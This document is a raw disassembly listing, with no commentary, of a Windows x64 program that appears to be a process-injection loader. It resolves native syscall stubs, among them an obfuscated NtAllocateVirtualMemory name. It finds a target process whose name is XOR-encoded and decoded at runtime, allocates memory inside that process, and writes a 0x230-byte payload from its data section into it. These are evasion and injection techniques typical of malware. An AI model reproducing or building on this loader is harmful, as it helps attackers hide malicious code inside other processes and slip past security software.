lea rax, [rbp + 0x4960]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4980]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x49a0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x49c0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x49e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4a00]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4a20]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4a40]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4a60]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4a8f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4a90]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x4a90]
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x4a90]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x14000732c
lea rbx, [0x1400dd58b]
jmp 0x140007333
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x4cff]
mov qword [rbp + 0x5268], rax
nop
nop
lea rdx, [rbp + 0x4cff]
lea rax, [rbp + 0x4cd0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x4cb0]
lea rdx, [rbp + 0x4cd0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4c90]
lea rdx, [rbp + 0x4cb0]
lea r8, [0x1400dd585]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4c70]
lea rdx, [rbp + 0x4c90]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4c50]
lea rdx, [rbp + 0x4c70]
lea r8, [0x1400dd5d1]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4c30]
lea rdx, [rbp + 0x4c50]
lea r8, [0x1400dd57d]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4c10]
lea rdx, [rbp + 0x4c30]
lea r8, [0x1400dd57f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4bf0]
lea rdx, [rbp + 0x4c10]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4bd0]
lea rdx, [rbp + 0x4bf0]
lea r8, [0x1400dd5d7]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4bb0]
lea rdx, [rbp + 0x4bd0]
lea r8, [0x1400dd5c5]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4b90]
lea rdx, [rbp + 0x4bb0]
lea r8, [0x1400dd5cf]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4b70]
lea rdx, [rbp + 0x4b90]
lea r8, [0x1400dd5bf]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4b50]
lea rdx, [rbp + 0x4b70]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4b30]
lea rdx, [rbp + 0x4b50]
lea r8, [0x1400dd577]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4b10]
lea rdx, [rbp + 0x4b30]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4af0]
lea rdx, [rbp + 0x4b10]
lea r8, [0x1400dd57f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4ad0]
lea rdx, [rbp + 0x4af0]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4ab0]
lea rdx, [rbp + 0x4ad0]
lea r8, [0x1400dd5c1]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x4ab0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x4ab0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4ad0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4af0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4b10]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4b30]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4b50]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4b70]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4b90]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4bb0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4bd0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4bf0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4c10]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4c30]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4c50]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4c70]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4c90]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4cb0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4cd0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4cff]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4d00]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x4d00]
mov rcx, qword [rbp + 0x5388]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x4d00]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x140007721
lea rbx, [0x1400dd58b]
jmp 0x140007728
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x4f8f]
mov qword [rbp + 0x5260], rax
nop
nop
lea rdx, [rbp + 0x4f8f]
lea rax, [rbp + 0x4f60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x4f40]
lea rdx, [rbp + 0x4f60]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4f20]
lea rdx, [rbp + 0x4f40]
lea r8, [0x1400dd5bd]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4f00]
lea rdx, [rbp + 0x4f20]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4ee0]
lea rdx, [rbp + 0x4f00]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4ec0]
lea rdx, [rbp + 0x4ee0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4ea0]
lea rdx, [rbp + 0x4ec0]
lea r8, [0x1400dd57d]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4e80]
lea rdx, [rbp + 0x4ea0]
lea r8, [0x1400dd57f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4e60]
lea rdx, [rbp + 0x4e80]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4e40]
lea rdx, [rbp + 0x4e60]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4e20]
lea rdx, [rbp + 0x4e40]
lea r8, [0x1400dd583]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4e00]
lea rdx, [rbp + 0x4e20]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4de0]
lea rdx, [rbp + 0x4e00]
lea r8, [0x1400dd573]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4dc0]
lea rdx, [rbp + 0x4de0]
lea r8, [0x1400dd585]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4da0]
lea rdx, [rbp + 0x4dc0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4d80]
lea rdx, [rbp + 0x4da0]
lea r8, [0x1400dd587]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4d60]
lea rdx, [rbp + 0x4d80]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4d40]
lea rdx, [rbp + 0x4d60]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x4d20]
lea rdx, [rbp + 0x4d40]
lea r8, [0x1400dd589]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x4d20]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x4d20]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4d40]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4d60]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4d80]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4da0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4dc0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4de0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4e00]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4e20]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4e40]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4e60]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4e80]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4ea0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4ec0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4ee0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4f00]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4f20]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4f40]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4f60]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x4f8f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x4f90]
mov rcx, qword [rbp + 0x5380]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x140007b42
lea rbx, [0x1400dd58b]
jmp 0x140007b49
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, section..data
mov rcx, rax
call fcn.140002cf8
mov qword [rbp + 0x2498], 0x230
mov rax, qword [0x1400d8c00]
mov qword [rbp + 0x2490], rax
mov rax, qword [rbp + 0x2498]
mov rdx, rax
lea rax, [0x1400d8c20]
mov rcx, rax
call fcn.140001b1e
mov dword [rbp + 0x2360], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x5330], rax
mov dword [rbp + 0x5428], 0
mov byte [rbp + 0x2353], 0x5c
mov byte [rbp + 0x2354], 0x42
mov byte [rbp + 0x2355], 0x4b
mov byte [rbp + 0x2356], 0x50
mov byte [rbp + 0x2357], 0x52
mov byte [rbp + 0x2358], 0x4c
mov byte [rbp + 0x2359], 0x5a
mov byte [rbp + 0x235a], 0x32
mov byte [rbp + 0x235b], 0x6f
mov byte [rbp + 0x235c], 0x27
mov byte [rbp + 0x235d], 0x3b
mov byte [rbp + 0x235e], 0x21
mov byte [rbp + 0x235f], 0x45
lea rdx, [rbp + 0x2360]
mov rax, qword [rbp + 0x5330]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x140007f06
jmp 0x140007ee2
lea rax, [rbp + 0x2353]
mov qword [rbp + 0x5258], rax
mov rax, qword [rbp + 0x5258]
mov qword [rbp + 0x5250], rax
mov rax, qword [rbp + 0x5250]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140007d21
mov rax, qword [rbp + 0x5258]
mov rdx, qword [rbp + 0x5258]
mov qword [rbp + 0x5248], rdx
mov qword [rbp + 0x5240], rax
mov dword [rbp + 0x523c], 0
jmp 0x140007d17
mov eax, dword [rbp + 0x523c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5240]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x523c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5248]
mov eax, dword [rbp + 0x523c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x523c], 1
cmp dword [rbp + 0x523c], 0xc
jle 0x140007cb8
nop
lea rax, [rbp + 0x2353]
lea rdx, [rbp + 0x2360]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x140007ee2
mov eax, dword [rbp + 0x2368]
mov dword [rbp + 0x5428], eax
mov byte [rbp + 0x101], 0x69
mov byte [rbp + 0x102], 0x73
mov byte [rbp + 0x103], 0x7f
mov byte [rbp + 0x104], 0x1c
mov byte [rbp + 0x105], 0x5b
mov byte [rbp + 0x106], 0x51
mov byte [rbp + 0x107], 0x4a
mov byte [rbp + 0x108], 0x2e
mov byte [rbp + 0x109], 0x25
mov byte [rbp + 0x10a], 0x62
mov byte [rbp + 0x10b], 0x25
mov byte [rbp + 0x10c], 0x2b
mov byte [rbp + 0x10d], 0x37
mov byte [rbp + 0x10e], 0x66
mov byte [rbp + 0x10f], 0x47
lea rax, [rbp + 0x101]
mov qword [rbp + 0x5230], rax
mov rax, qword [rbp + 0x5230]
movzx eax, byte [rax + 0xe]
test al, al
setne al
test al, al
je 0x140007e74
lea rax, [rbp + 0x101]
lea rdx, [rbp + 0x101]
mov qword [rbp + 0x5228], rdx
mov qword [rbp + 0x5220], rax
mov dword [rbp + 0x521c], 0
jmp 0x140007e6a
mov eax, dword [rbp + 0x521c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5220]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x521c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5228]
mov eax, dword [rbp + 0x521c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x521c], 1
cmp dword [rbp + 0x521c], 0xe
jle 0x140007e0b
nop
lea rax, [rbp + 0x101]
mov rdx, qword [rbp + 0x2353]
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp + 0x2358]
mov qword [rbp - 0x3b], rdx
mov ecx, dword [rbp + 0x5428]
lea rdx, [rbp - 0x40]
mov r9d, ecx
mov r8, rdx
mov rdx, rax
lea rax, [0x1400dd5d9]
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x5218], 0
jmp 0x140007ed6
mov eax, dword [rbp + 0x5218]
cdqe
mov byte [rbp + rax + 0x101], 0
add dword [rbp + 0x5218], 1
cmp dword [rbp + 0x5218], 0xe
jle 0x140007ebf
nop
jmp 0x140007f06
lea rdx, [rbp + 0x2360]
mov rax, qword [rbp + 0x5330]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x140007c5c
mov rax, qword [rbp + 0x5330]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x5428], 0
jne 0x140008150
mov byte [rbp - 0x10], 0x78
mov byte [rbp - 0xf], 0x48
mov byte [rbp - 0xe], 0x5e
mov byte [rbp - 0xd], 0x1c
mov byte [rbp - 0xc], 0x44
mov byte [rbp - 0xb], 0x51
mov byte [rbp - 0xa], 0x4a
mov byte [rbp - 9], 0x60
mov byte [rbp - 8], 0x32
mov byte [rbp - 7], 0x37
mov byte [rbp - 6], 0x31
mov byte [rbp - 5], 0x21
mov byte [rbp - 4], 0x65
mov byte [rbp - 3], 0x32
mov byte [rbp - 2], 0x2f
mov byte [rbp - 1], 0x2d
mov byte [rbp], 0x69
mov byte [rbp + 1], 0x3e
mov byte [rbp + 2], 0x2a
mov byte [rbp + 3], 0x3e
mov byte [rbp + 4], 0x2a
mov byte [rbp + 5], 0x2b
mov byte [rbp + 6], 0x3b
mov byte [rbp + 7], 0x70
mov byte [rbp + 8], 0x21
mov byte [rbp + 9], 0x20
mov byte [rbp + 0xa], 0x3c
mov byte [rbp + 0xb], 0x37
mov byte [rbp + 0xc], 0x30
mov byte [rbp + 0xd], 0x25
mov byte [rbp + 0xe], 0x24
mov byte [rbp + 0xf], 0x78
mov byte [rbp + 0x10], 0x30
mov byte [rbp + 0x11], 0x29
mov byte [rbp + 0x12], 0x7b
mov byte [rbp + 0x13], 0x2e
mov byte [rbp + 0x14], 0x28
mov byte [rbp + 0x15], 0x30
mov byte [rbp + 0x16], 0x31
mov byte [rbp + 0x17], 9
mov byte [rbp + 0x18], 0xf
mov byte [rbp + 0x19], 5
mov byte [rbp + 0x1a], 0x5c
mov byte [rbp + 0x1b], 0x6e
mov byte [rbp + 0x1c], 0x23
mov byte [rbp + 0x1d], 7
mov byte [rbp + 0x1e], 0xe
mov byte [rbp + 0x1f], 4
mov byte [rbp + 0x20], 0xc
mov byte [rbp + 0x21], 0xe
mov byte [rbp + 0x22], 0x4b
mov byte [rbp + 0x23], 0x18
mov byte [rbp + 0x24], 0x56
mov byte [rbp + 0x25], 0x1a
mov byte [rbp + 0x26], 0x5d
mov byte [rbp + 0x27], 0x55
mov byte [rbp + 0x28], 0x53
mov byte [rbp + 0x29], 0x5a
mov byte [rbp + 0x2a], 0x1f
mov byte [rbp + 0x2b], 0x10
mov byte [rbp + 0x2c], 8
mov byte [rbp + 0x2d], 6
mov byte [rbp + 0x2e], 0x63
mov byte [rbp + 0x2f], 0x22
mov byte [rbp + 0x30], 0x2a
mov byte [rbp + 0x31], 0x34
mov byte [rbp + 0x32], 0x67
mov byte [rbp + 0x33], 0x48
lea rax, [rbp - 0x10]
mov qword [rbp + 0x5210], rax
mov rax, qword [rbp + 0x5210]
movzx eax, byte [rax + 0x43]
test al, al
setne al
test al, al
je 0x1400080e4
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x10]
mov qword [rbp + 0x5208], rdx
mov qword [rbp + 0x5200], rax
mov dword [rbp + 0x51fc], 0
jmp 0x1400080da
mov eax, dword [rbp + 0x51fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x5200]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x51fc]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5208]
mov eax, dword [rbp + 0x51fc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51fc], 1
cmp dword [rbp + 0x51fc], 0x43
jle 0x14000807b
nop
lea rax, [rbp - 0x10]
mov rdx, qword [rbp + 0x2353]
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp + 0x2358]
mov qword [rbp - 0x3b], rdx
lea rdx, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rax, str._s_s
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x51f8], 0
jmp 0x140008137
mov eax, dword [rbp + 0x51f8]
cdqe
mov byte [rbp + rax - 0x10], 0
add dword [rbp + 0x51f8], 1
cmp dword [rbp + 0x51f8], 0x43
jle 0x140008123
nop
mov esi, 1
mov ebx, 0
jmp 0x14000a042
mov qword [rbp + 0x2348], 0
mov qword [rbp + 0x2338], 0
mov eax, dword [rbp + 0x2368]
mov ecx, eax
call fcn.140001450
mov qword [rbp + 0x2330], rax
mov dword [rbp + 0x2300], 0x30
mov qword [rbp + 0x2308], 0
mov dword [rbp + 0x2318], 0
mov qword [rbp + 0x2310], 0
mov qword [rbp + 0x2320], 0
mov qword [rbp + 0x2328], 0
mov r10, qword [0x14010b080]
lea rcx, [rbp + 0x2330]
lea rdx, [rbp + 0x2300]
lea rax, [rbp + 0x2348]
mov r9, rcx
mov r8, rdx
mov edx, 0x478
mov rcx, rax
call r10
mov byte [rbp + 0x22f4], 0x54
mov byte [rbp + 0x22f5], 0x49
mov byte [rbp + 0x22f6], 0x4f
mov byte [rbp + 0x22f7], 0x4f
mov byte [rbp + 0x22f8], 0x5e
mov byte [rbp + 0x22f9], 0x5f
mov byte [rbp + 0x22fa], 0x47
mov byte [rbp + 0x22fb], 0x6e
mov byte [rbp + 0x22fc], 0x25
mov byte [rbp + 0x22fd], 0x2e
mov byte [rbp + 0x22fe], 0x2f
mov byte [rbp + 0x22ff], 0x44
mov byte [rbp + 0x22e0], 0x7d
mov byte [rbp + 0x22e1], 0x56
mov byte [rbp + 0x22e2], 0x57
mov byte [rbp + 0x22e3], 0x7f
mov byte [rbp + 0x22e4], 0x5c
mov byte [rbp + 0x22e5], 0x50
mov byte [rbp + 0x22e6], 0x6a
mov byte [rbp + 0x22e7], 0x2e
mov byte [rbp + 0x22e8], 0x2d
mov byte [rbp + 0x22e9], 0x2d
mov byte [rbp + 0x22ea], 0x22
mov byte [rbp + 0x22eb], 0x20
mov byte [rbp + 0x22ec], 0xb
mov byte [rbp + 0x22ed], 0x29
mov byte [rbp + 0x22ee], 0x30
mov byte [rbp + 0x22ef], 0x48
mov qword [rbp + 0x5328], 0
mov qword [rbp + 0x22d8], 0
mov dword [rbp + 0x22cc], 0
mov qword [rbp + 0x5320], 0xe
mov r10, qword [0x14010b038]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x531c], eax
mov byte [rbp + 0x22a0], 0x7a
mov byte [rbp + 0x22a1], 0x5b
mov byte [rbp + 0x22a2], 0x71
mov byte [rbp + 0x22a3], 0x53
mov byte [rbp + 0x22a4], 0x73
mov byte [rbp + 0x22a5], 0x4a
mov byte [rbp + 0x22a6], 0x55
mov byte [rbp + 0x22a7], 0xc
mov byte [rbp + 0x22a8], 0x34
mov byte [rbp + 0x22a9], 0x33
mov byte [rbp + 0x22aa], 0x2f
mov byte [rbp + 0x22ab], 0x36
mov byte [rbp + 0x22ac], 6
mov byte [rbp + 0x22ad], 0x2f
mov byte [rbp + 0x22ae], 0x17
mov byte [rbp + 0x22af], 0x18
mov byte [rbp + 0x22b0], 0x23
mov byte [rbp + 0x22b1], 0x30
mov byte [rbp + 0x22b2], 0x18
mov byte [rbp + 0x22b3], 0x6c
mov byte [rbp + 0x22b4], 0x3f
mov byte [rbp + 0x22b5], 0x2b
mov byte [rbp + 0x22b6], 0x3c
mov byte [rbp + 0x22b7], 0x70
mov byte [rbp + 0x22b8], 0x79
mov byte [rbp + 0x22b9], 0x33
mov byte [rbp + 0x22ba], 0x3f
mov byte [rbp + 0x22bb], 0x38
mov byte [rbp + 0x22bc], 0x3a
mov byte [rbp + 0x22bd], 0x35
mov byte [rbp + 0x22be], 4
mov byte [rbp + 0x22bf], 0x30
mov byte [rbp + 0x22c0], 0x30
mov byte [rbp + 0x22c1], 0x37
mov byte [rbp + 0x22c2], 0x72
mov byte [rbp + 0x22c3], 0x66
mov byte [rbp + 0x22c4], 0x7d
mov byte [rbp + 0x22c5], 0x6e
mov byte [rbp + 0x22c6], 0x27
mov byte [rbp + 0x22c7], 0x60
lea rax, [rbp + 0x22a0]
mov qword [rbp + 0x51f0], rax
mov rax, qword [rbp + 0x51f0]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x1400084e6
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22a0]
mov qword [rbp + 0x51e8], rdx
mov qword [rbp + 0x51e0], rax
mov dword [rbp + 0x51dc], 0
jmp 0x1400084dc
mov eax, dword [rbp + 0x51dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x51e0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x51dc]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x51e8]
mov eax, dword [rbp + 0x51dc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51dc], 1
cmp dword [rbp + 0x51dc], 0x27
jle 0x14000847d
nop
lea rax, [rbp + 0x22a0]
mov edx, dword [rbp + 0x531c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1400dd0e1]
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x51b8], 0
jmp 0x14000852b
mov eax, dword [rbp + 0x51b8]
cdqe
mov byte [rbp + rax + 0x22a0], 0
add dword [rbp + 0x51b8], 1
cmp dword [rbp + 0x51b8], 0x27
jle 0x140008514
nop
mov byte [rbp + 0x2292], 0x58
mov byte [rbp + 0x2293], 0x56
mov byte [rbp + 0x2294], 0x57
mov byte [rbp + 0x2295], 0x53
mov byte [rbp + 0x2296], 0x5e
mov byte [rbp + 0x2297], 0x6d
mov byte [rbp + 0x2298], 0x57
mov byte [rbp + 0x2299], 0x29
mov byte [rbp + 0x229a], 0x2c
mov byte [rbp + 0x229b], 0x78
mov byte [rbp + 0x229c], 0x63
mov byte [rbp + 0x229d], 0x64
mov byte [rbp + 0x229e], 0x65
mov byte [rbp + 0x229f], 0x46
mov r8, qword [rbp + 0x22d8]
lea rax, [rbp + 0x2292]
mov qword [rbp + 0x51d0], rax
mov rax, qword [rbp + 0x51d0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x140008655
lea rax, [rbp + 0x2292]
lea rdx, [rbp + 0x2292]
mov qword [rbp + 0x51c8], rdx
mov qword [rbp + 0x51c0], rax
mov dword [rbp + 0x51bc], 0
jmp 0x14000864b
mov eax, dword [rbp + 0x51bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x51c0]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x51bc]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x51c8]
mov eax, dword [rbp + 0x51bc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51bc], 1
cmp dword [rbp + 0x51bc], 0xd
jle 0x1400085ec
nop
lea rax, [rbp + 0x2292]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140020e80
mov dword [rbp + 0x51b4], 0
jmp 0x140008691
mov eax, dword [rbp + 0x51b4]
cdqe
mov byte [rbp + rax + 0x2292], 0
add dword [rbp + 0x51b4], 1
cmp dword [rbp + 0x51b4], 0xd
jle 0x14000867a
nop
mov r10, qword [0x14010b040]
mov r9, qword [rbp + 0x2498]
mov r8, qword [0x14010b0d0]
mov rdx, qword [rbp + 0x22d8]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x22d0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
